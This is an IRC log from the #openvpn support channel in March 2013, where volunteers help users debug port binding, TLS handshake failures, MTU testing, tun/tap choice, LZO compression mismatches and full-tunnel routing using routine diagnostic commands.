07:00 < MacGyver> jzaw: However, if you use it in routed mode then yes, you will need to use a separate subnet. You can also isolate part of the /26 to do that, I'd say, but I don't know if your setup would allow that.
07:01 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
07:01 < MacGyver> jzaw: "Being remote" doesn't sound like a really good reason not to be able to split, but that's me.
07:02 < Dennis84> hi all
07:03 < MacGyver> jzaw: And instead of splitting you can also go krzee's route, and use SNAT/DNAT on top of an RFC1918 subnet.
07:11 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Quit: leaving]
07:12 -!- dxtr [0005ac03@unaffiliated/dxtr] has joined #openvpn
07:13 -!- JackWinter1 [~jack@ppp-256.vo.lu] has joined #openvpn
07:15 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Ping timeout: 250 seconds]
07:33 < Dennis84> Wulf: are you available?
07:53 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has quit [Ping timeout: 264 seconds]
07:56 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has joined #openvpn
08:00 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has quit [Ping timeout: 240 seconds]
08:06 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has joined #openvpn
08:08 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
08:12 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has quit [Ping timeout: 260 seconds]
08:16 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has joined #openvpn
08:21 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has quit [Ping timeout: 260 seconds]
08:27 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has joined #openvpn
08:49 -!- JackWinter1 [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
08:50 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
08:52 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has quit [Ping timeout: 260 seconds]
09:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:45 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
09:46 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
09:47 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
09:48 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
09:52 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
10:09 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:19 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
10:19 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
10:27 < jzaw> MacGyver, ta for the info ... hard coded ips ... and risk of boxes not coming back up if i typo
10:27 < jzaw> im 2,000km away
10:28 < jzaw> my tap0 on the opvn router is up and getting the expected ip ... but i cant even ping the server ip on the vpn
10:28 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
10:28 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 245 seconds]
10:29 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:30 -!- Porkepix [~Porkepix@157.138.190.113] has joined #openvpn
10:30 -!- novaflash is now known as novaflash_away
10:33 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 276 seconds]
10:33 -!- novaflash_away is now known as novaflash
10:34 -!- Porkepix [~Porkepix@157.138.190.113] has quit [Ping timeout: 256 seconds]
10:40 -!- novaflash is now known as novaflash_away
10:40 -!- novaflash_away is now known as novaflash
10:48 -!- Porkepix [~Porkepix@157.138.190.113] has joined #openvpn
10:53 -!- Porkepix [~Porkepix@157.138.190.113] has quit [Ping timeout: 248 seconds]
10:56 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Excess Flood]
10:58 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
11:01 -!- Porkepix [~Porkepix@157.138.190.113] has joined #openvpn
11:05 -!- Porkepix [~Porkepix@157.138.190.113] has left #openvpn []
11:19 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has left #openvpn []
11:20 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
11:43 -!- syn4pse [~syn@p5DDC0186.dip0.t-ipconnect.de] has joined #openvpn
11:44 -!- savr [~linux@unaffiliated/rvas] has joined #openvpn
11:45 < savr> openvpn was working a few days ago
11:45 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Connection reset by peer]
11:45 < savr> don't know what made it stop
11:45 <@ecrist> !logs
11:45 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
11:45 < savr> but now in the logs it is failing to assign port 1194
11:45 <@ecrist> generally, if it was working before, and it's not now, someone changed something
11:46 <@ecrist> savr: is another instance of openvpn listening on 1194, or another process?
11:46 < savr> Sat Mar  9 11:59:02 2013 UDPv4 link local (bound): [undef]
11:46 < savr>  Sat Mar  9 11:59:02 2013 UDPv4 link remote: [undef]
11:46 < savr> nothing is according to nmap
11:46 < syn4pse> lsof -i :1194
11:46 <@ecrist> lsof -i TCP -i UDP | grep 1194
11:47 < savr> lsof: no pwd entry for UID 109
11:47 <@ecrist> heh, your server has issues
11:47 <@ecrist> your user doesn't exist, apparently
11:47 < savr> openvpn 18194 root    5u  IPv4 224868      0t0  UDP *:openvpn
11:47 < savr> LOL
11:47 < savr> I'm root
11:47 <@ecrist> and that indicates openvpn is already looking at port 1194
11:47 < savr> how can I not exist
11:48 < syn4pse> only you know what u did to that box ;)
11:48 < savr> I did nothing!!
11:48 < syn4pse> nano ~/.bash_history ;)
11:48 < savr> other than access it from china
11:49 < syn4pse> chinese goverment destroyed your box :p
11:49 < savr> it's possible they've hacked it
11:50 < savr> I got some strange hacking attempts from chinese IPs according to logwatch/fail2ban
11:50 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
11:50 < syn4pse> thats normal ^^
11:51 <@ecrist> very normal
11:51 < syn4pse> i get those emial reports from lfd 24/7 ;)
11:52 < savr> actually!! I did do something
11:52 < savr> I added a new openvpn client
11:52 <@ecrist> :)
11:53 < syn4pse> savr, it might be usefull to check the log of your vpn client and see what that one says
11:55 < savr> add status /tmp/openvpn.log to the client config?
11:57 < savr> still... there is a port error on the server in the logs
11:57 < savr> one which isn't clear what it means to me
11:58 < pekster> If you're running >1 instance on any system, they need to listen/source from different ports. It generally makes sense to use 'nobind' from the client so it dynamically creates one
11:58 < savr> I'm not
11:58 < pekster> Otherwise, posting the log with errors would be useful
11:58 < savr> I just made a second client cert
11:59 < savr> pekster: I did at :46
11:59 < pekster> No, you pasted 2 lines of the log that are not actually errors
12:01 < syn4pse> was about to say the same ;)
12:01 < savr> http://pastebin.com/gEZ9su2s
12:02 < syn4pse> i don`t see errors there
12:02 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
12:03 < syn4pse> check ur logs on the client side
12:03 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 264 seconds]
12:04 < savr> doing so
12:04 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
12:05 < syn4pse> savr, can u connect to it at least
12:05 < syn4pse> ?
12:05 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
12:06 < savr> no
12:06 < syn4pse> okey then ur client log will show why
12:07 < savr> it's just hanging
12:07 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
12:07 < syn4pse> oO
12:09 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
12:12 < savr> http://pastebin.com/uEy9S39B
12:15 < pekster> savr: It's often a firewall problem that prevents the client from failing to establish a connection like that. The client simply never hears back from the server. If your server logs don't show an "initial packet received" message, then you need to figure out why your connection isn't getting to the other side
12:15 < pekster> "prevents the client from establishing" that should have read
12:16 < savr> http://pastebin.com/cLaXsZk3
12:17 < savr> from the server
12:17 < savr> so the server IS getting the packet
12:17 -!- master_o1_master [~master_of@p4FF24A96.dip.t-dialin.net] has joined #openvpn
12:17 < savr> seems like somehow the keys are broken right?
12:18 < pekster> No, certificate errors expltitly state such. Post both the server & client configs
12:18 < rob0> seems like you are not reading.
12:18 < savr> let me google tls handshake lol
12:19 < rob0> sure, have fun. But until the client reaches the server, there is no TLS handshake.
12:20 < savr> that final log was from the server
12:20 < savr> the server is obviously getting something
12:20 < savr> is this handshaking done on port 1194?
12:20 -!- master_of_master [~master_of@p4FF24B3D.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
12:21 < pekster> Everything is done over a single UDP port
12:21 < pekster> !configs
12:21 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
12:22 < rob0> You did not paste anything which said "initial packet received".
12:24 < savr> rob0: but the server obviously received a packet according to those logs?
12:24 < savr> http://pastebin.com/QsfYQJte
12:33 < pekster> Could be MTU issues possibly, although it would be nice to see the server log starting from when the client actually connected. Trying to be "clever" and showing only small bits of the log means you get small bits of insight into your problem
12:34 < pekster> Adding --mtu-test to the client lets OpenVPN test the MTU itself, or use standard ping or trace tools to do it yourself
12:35 < savr> hmm sorry... the log seemed like it was repeating it self with the same error
12:36 < savr> umm there is nothing in the log that wasn't already in http://pastebin.com/gEZ9su2s and http://pastebin.com/cLaXsZk3
12:39 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
12:39 < savr> pekster: just getting a flood of TUN errors
12:39 < savr> Sun Mar 10 02:39:32 2013 read from TUN/TAP : File descriptor in bad state (code=77)
12:41 < savr> command I used was: openvpn --mtu-test --dev tun
12:41 < pekster> You might want to read the  manpage and what I wrote a little more carefully
12:41 < pekster> That's not how you use --mtu-test
12:42 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
12:43 < Eagleman7> Are there ways to increase ping ( x3 the normal value ) when using redirect gateway?
12:44 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 264 seconds]
12:45 < pekster> Eagleman7: What are you trying to do?
12:46 < Eagleman7> Increase the ping for in a multiplayer game
12:46 < pekster> The OpenVPN --ping directive?
12:47 < pekster> If you're talking about traffic flowing across a tunnel, OpenVPN does not care/check/act based on what the packet's contents is
12:47 < Eagleman7> pekster, no, normally i got 150 ping to a server in the usa, in want to increase the ping using some methods in openvpn, so it goes to 450
12:48 < Eagleman7> It sounds a bit weird, normally you want to decrease the ping to a server
12:48 < savr> pekster: there aren't any examples in the manpage... unless I'm reading the wrong version. running just --mtu-test says I need to specify TUN/TAP
12:48 <@plaisthos> if your server is *BSD you can use ipfw
12:48 < Eagleman7> I'm using linux :(
12:49 <@plaisthos>            ipfw pipe 1 config delay 250ms bw 1Mbit/s
12:49 <@plaisthos> maybe linux has something similar
12:49 <@plaisthos> try to ask in linux/iptables related channel
12:49 < pekster> iproute2's 'tc' tool is how you do queuing/shaping/traffic control
12:49 < pekster> That's outside the scope of OpenVPN though
12:50 < pekster> savr: You missed the part where it says "add thet --mtu-test option TO YOUR CONFIGURATION" (emphasis mine.) I also said this above in my earlier message
12:50 < Eagleman7> aha, thanks
12:50 < pekster> You cannot just run it from the command line as the line you pasted is not a full configuration
12:50 < savr> pekster: i've added my config
12:51 < pekster> That's not what you said earlier
12:51 < savr> if I ran it blank then I wouldn't have got the error
12:51 < savr> unless configuration means something else from what I think it means
12:51 < savr> somewhat of a noob here
12:52 -!- p3rror [~mezgani@41.140.216.173] has joined #openvpn
12:52 < pekster> Your existing configuration file. You drop in the --mtu-test option and let it run for a few minutes and it returns the largest packet it can get through
12:52 < savr> pekster: yeah doing that just floods me with the tun error above
12:56 < savr> detailed log: http://pastebin.com/Zuc02LqA
12:58 < pekster> You do this on your client, not the server. You also cannot pass a config file without using the --config option unless it is the *only* option after the command
12:59 < pekster> The errors/warnings about not using encryption and failure to open the tun device should have been hints that something was not right
13:00 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
13:00 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
13:00 < pekster> Here's what a functinal and working server-side log looks like when the client connects: http://paste.kde.org/691436/
13:01 < savr> ok adding --config let the command run
13:01 < savr> silly me lol
13:02 < savr> I was running it client side at least.
13:02 < pekster> You named your client config 'server.ovpn' ?
13:02 < pekster> That's functional I suppose but confusing
13:03 < savr> lol.... it is so I know the connect is to the server and not somewhere else
13:03 -!- p3rror [~mezgani@41.140.216.173] has quit [Quit: Leaving]
13:04 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
13:07 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 255 seconds]
13:09 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
13:09 -!- p3rror [~mezgani@41.140.216.173] has joined #openvpn
13:13 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 276 seconds]
13:13 < savr> pekster: http://pastebin.com/vRwPH7zW
13:15 < pekster> Okay, so it still can't get a TLS handshake. For whatever reason, looks like packets are getting lost of mangled on their way to your server and OpenVPN is unable to perform the initial handshake
13:16 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
13:17 < pekster> of=or
13:19 < savr> interesting... it is failing from my wired connection and 3g connection in china
13:19 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
13:20 < savr> wonder if the great firewall of china has anything to do with it
13:20 < savr> well thank god for ssh proxy
13:22 < savr> guess I'll find out if it is some other problem once I leave china...
13:29 -!- sanfran [~sanfran@108-61-41-219ch.openskytelcom.net] has joined #openvpn
13:33 < savr> thanks pekster good night
13:33 -!- savr [~linux@unaffiliated/rvas] has quit [Quit: Ex-Chat]
13:33 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
13:34 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 260 seconds]
13:34 -!- levifig [~levifig@spwn.co] has joined #openvpn
13:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:38 < jzaw> can openvpn work in a qemu-kvm VM ... its a virtual nic ... briged to host nic
13:38 < jzaw> thus a tap0 would be bridged to a bridge in effect
13:39 < jzaw> i mean in bridged mode tap of course
13:40 < rob0> um, the qemu-kvm bridge does not mean that openvpn needs to be bridged ...
13:40 -!- p3rror [~mezgani@41.140.216.173] has quit [Quit: Leaving]
13:40 < jzaw> but at the mo id like to try bridged if i can
13:40 < jzaw> ipv6 amongst other things
13:40 < jzaw> though i hear 2.3.x does that now in routed?
13:41 < rob0> Bridging is usually not a good idea, but I'm not going to try to change your mind. Yes, 2.3 can handle ipv6 with tun.
13:41 < jzaw> you may have just changed my mind ;)
13:42 < jzaw> \0/
13:42 < jzaw> out of interest ... why do you consider bridging not a good idea?
13:43 < pekster> !tunortap
13:43 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
13:43 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
13:44 < jzaw> k thanks
13:45 < jzaw> the reason i ask if tap works in a VM is that im getting a tap0 its getting an ip ... there is some sort of traffic (prob vpn chatter) but i cant ping and cant do owt else down the tap
13:46 < pekster> The host may not allow use of arbitrary IPs by a guest like that
13:48 < jzaw> the vpn ips are real ones from my /26 the host and VM sit on
13:48 < jzaw> just empty spare and unused in a small consecutive block
13:54 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
14:27 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
14:27 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
14:28 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 240 seconds]
14:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
14:39 -!- seraphim [~serap@82.211.19.202] has joined #openvpn
14:41 < Azrael_-> hi
14:42 < seraphim> hi, got some question. set up openvpn server on debian successfully and connected a windows client successfully using the server via iptables NAT as gateway. problem: without VPN bandwidth: 20MBit/s, through VPN: 10-12Mbit/s using the same speed test. the server does definetly have enough bandwith to handle this (full duplex 100mbit uplink). already switched the UDP port to non-default to check whether my provider is slowing it down artificially but it does
14:42 < seraphim> talking about downstream
14:45 < seraphim> anyone got an idea?
14:52 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
14:53 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 255 seconds]
14:58 -!- seraphim [~serap@82.211.19.202] has quit [Quit: Here should be a quit message, but there isn´t any. Just imagine there is some.]
15:04 < Eagleman> try the --replay-window
15:04 < Eagleman> ow
15:20 < pekster> verb 4 will show you "replay window backtrack occurred" messages that'll let you know if the replay is an issue and by how much
15:31 < pekster> Further, a better way to test speed is a file transfer to your server with and without the VPN. It could simply be a difference in speedtest results from different physical locations
15:38 -!- sanfran [~sanfran@108-61-41-219ch.openskytelcom.net] has quit [Ping timeout: 276 seconds]
15:42 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has joined #openvpn
15:51 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:59 -!- sanfran [~sanfran@108.61.50.108] has joined #openvpn
16:08 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
16:10 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 276 seconds]
16:11 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
16:55 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Read error: Connection reset by peer]
16:57 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
17:05 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
17:05 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
17:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
17:05 -!- mode/#openvpn [+o krzee] by ChanServ
17:06 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has left #openvpn []
17:54 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:06 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
18:06 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
18:06 -!- emmanuelux [~emmanuelu@94.23.150.162] has joined #openvpn
18:08 -!- syn4pse- [~syn@p5DDC041D.dip0.t-ipconnect.de] has joined #openvpn
18:12 -!- syn4pse [~syn@p5DDC0186.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
18:56 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
18:59 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
19:13 -!- JSharpe [~JSharpe@46.165.208.207] has quit [Quit: Leaving]
19:16 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
19:37 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
20:09 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
20:10 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 255 seconds]
20:11 -!- Devastator- is now known as Devastator
20:25 -!- p3rror [~mezgani@41.140.216.173] has joined #openvpn
20:40 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit []
20:43 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
20:45 -!- MeanderingCode__ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
20:46 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
20:48 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 252 seconds]
20:53 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
21:23 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 240 seconds]
21:24 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 252 seconds]
21:24 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
21:24 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
21:25 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Read error: Connection reset by peer]
21:25 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
21:33 -!- jtrucks_ is now known as jtrucks
21:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
22:04 -!- emmanuelux [~emmanuelu@94.23.150.162] has quit [Ping timeout: 248 seconds]
22:23 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:25 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
22:29 -!- MeanderingCode__ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 248 seconds]
22:34 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
23:02 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
23:02 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 245 seconds]
23:06 -!- sanfran [~sanfran@108.61.50.108] has quit [Ping timeout: 276 seconds]
23:08 -!- sanfran [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has joined #openvpn
23:20 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
23:21 -!- sanfran [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has quit [Ping timeout: 264 seconds]
23:22 -!- sanfran [~sanfran@216.155.131.69] has joined #openvpn
23:23 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
23:23 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
23:24 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
23:27 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
23:31 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
--- Day changed Sun Mar 10 2013
00:00 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
00:37 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
00:38 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 245 seconds]
00:58 -!- antiisolo [solo@gateway/shell/anapnea.net/x-doayfdtntkosijyu] has joined #openvpn
00:59 < antiisolo> hello, i just installed openvpn server for the first time, and whenever i connect from the client, i receive this error Bad LZO decompression header byte: 42
00:59 < antiisolo> any ideas?
01:05 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
01:33 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has joined #openvpn
01:38 < pppingme> antiisolo do you have LZO enabled on *BOTH* ends?
01:56 < antiisolo> pppingme yes
01:58 < pekster> antiisolo: I'm not here much longer tonight, but the lzo paramater needs to match exactly. If you use 'comp-lzo adaptive' it must be the same on the other end
01:59 < pppingme> antiisolo does it seem to work but just getting a lot of those errors, or is it totally broke?
01:59 < pekster> Values of on/off/adaptive (or unspecified completely) should match between peers. Note also that you can push the lzo option from the server, thus insuring it matches (and as an added bonus you can change it centrally later too)
03:01 < antiisolo> pppingme atfirst it was just totally broken, now it just stops at push_request
03:02 < antiisolo> pekster: thanks ill look more into that
03:04 < antiisolo> I have been getting to this Sun Mar 10 04:03:04 2013 client1/71.202.51.90:59635 PUSH: Received control message: 'PUSH_REQUEST'
03:04 < antiisolo> Sun Mar 10 04:03:04 2013 client1/71.202.51.90:59635 SENT CONTROL [client1]: 'PUSH_REPLY,route 192.168.1.0 255.255.255.0,route 10.8.0.1,topology net30,ping 10,ping-restart 120,ifconfig 10.8.0.6 10.8.0.5' (status=1)
03:05 < antiisolo> then it doesnt say anything else.. but no websites work
03:09 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
03:12 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
03:24 -!- Velua [~JJ@CPE-124-185-181-88.lns6.cha.bigpond.net.au] has joined #openvpn
03:24 < Velua> hey
03:25 < Velua> when i connect to my openvpn server as a client am i meant to be able to ping it at 10.8.0.1?
03:25 < Velua> hello....?
03:25 < pppingme> that would depend on how your server is setup
03:26 < Velua> it's all default,
03:26 < Velua> just did a fresh install.. just curious if that's normal or not..?
03:26 < pppingme> I think thats the default IP, I never use it..
03:26 < Velua> yeah i think it is too, but when I ping it i get no response.. Is that normal or bad?
03:27 < pppingme> antiisolo are you pushing a default route? what about dns?  what error are you getting on the web browser?
03:27 < pppingme> Velua possibly just a bogus firewall rule blocking icmp
03:28 < Velua> okay thanks, I'm also trying to route to another subnet from the VPN's one
03:29 < Velua> I'm just putting the route in my router.. how many hops should I have?
03:29 < Velua> I basically know what a hop is.. but should I have 0 or 1 in it or.. could i get away with 99? like is that just the max it will let happen or what..?
03:30 < Velua> brb
03:30 < pppingme> you're router is asking how many hops?
03:34 -!- Velua [~JJ@CPE-124-185-181-88.lns6.cha.bigpond.net.au] has quit [Ping timeout: 255 seconds]
03:35 < antiisolo> ppingme the browser is just getting a website can not be displayed.. ping says destination is unreachale...
03:35 < pppingme> ok, that would infer dns is ok, and its either routing, or firewall rules
03:36 < pppingme> you're trying to route EVERYTHING over the vpn?  like paranoia mode?
03:36 < antiisolo> yeah, was hoping to route all traffic
03:37 < pppingme> do a traceroute to 8.8.8.8
03:37 < pppingme> and paste it
03:38 < pppingme> what OS is the client?
03:39 < antiisolo> traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets
03:40 < antiisolo> send: Operation not permitted
03:40 < antiisolo> debian
03:41 < pppingme> paste the output of "ip route show"
03:43 < antiisolo> default via 10.8.0.5 dev tun0  proto static
03:43 < antiisolo> 10.8.0.1 via 10.8.0.5 dev tun0  proto static
03:43 < antiisolo> 10.8.0.5 dev tun0  proto kernel  scope link  src 10.8.0.6
03:43 < antiisolo> 169.254.0.0/16 dev wlan1  scope link  metric 1000
03:43 < antiisolo> 173.230.151.8 via 192.168.0.1 dev wlan1  proto static
03:43 < antiisolo> 192.168.0.0/24 dev wlan1  proto kernel  scope link  src 192.168.0.197  metric 2
03:43 < antiisolo> 192.168.1.0/24 via 10.8.0.5 dev tun0  proto static
03:44 -!- sanfran [~sanfran@216.155.131.69] has quit [Ping timeout: 245 seconds]
03:45 < pppingme> whats the 192.168.1.x about?
03:45 < antiisolo> lol i think i was randomly following a tutorial online
03:45 < pppingme> except for that (which isn't whats breaking you) it looks correct
03:46 < pppingme> that most likely leaves firewall rules, and most likely on the server
03:54 < pppingme> you can paste those if you want someone to look at them
03:57 < pppingme> I'm assuming you have ipforwarding turned ON for the vps?
04:07 < antiisolo> yes
04:11 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:11 -!- marisn [~marisn@81.198.6.88] has joined #openvpn
04:16 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-txxrmkbetvcozgyg] has quit [Ping timeout: 240 seconds]
04:17 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds]
04:17 -!- Dennis84 [~dennis@mail.it-moebius.de] has quit [Ping timeout: 245 seconds]
04:18 < marisn> whom ever removed warnings about \ in config files for 2.3.0 - big thanks. Spent many hours to discover it by installing an older version.
04:18 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
04:18 -!- raidz_away is now known as raidz
04:18 -!- Dennis84 [~dennis@mail.it-moebius.de] has joined #openvpn
04:18 -!- raidz [~raidz@raidz.im] has quit [Changing host]
04:18 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
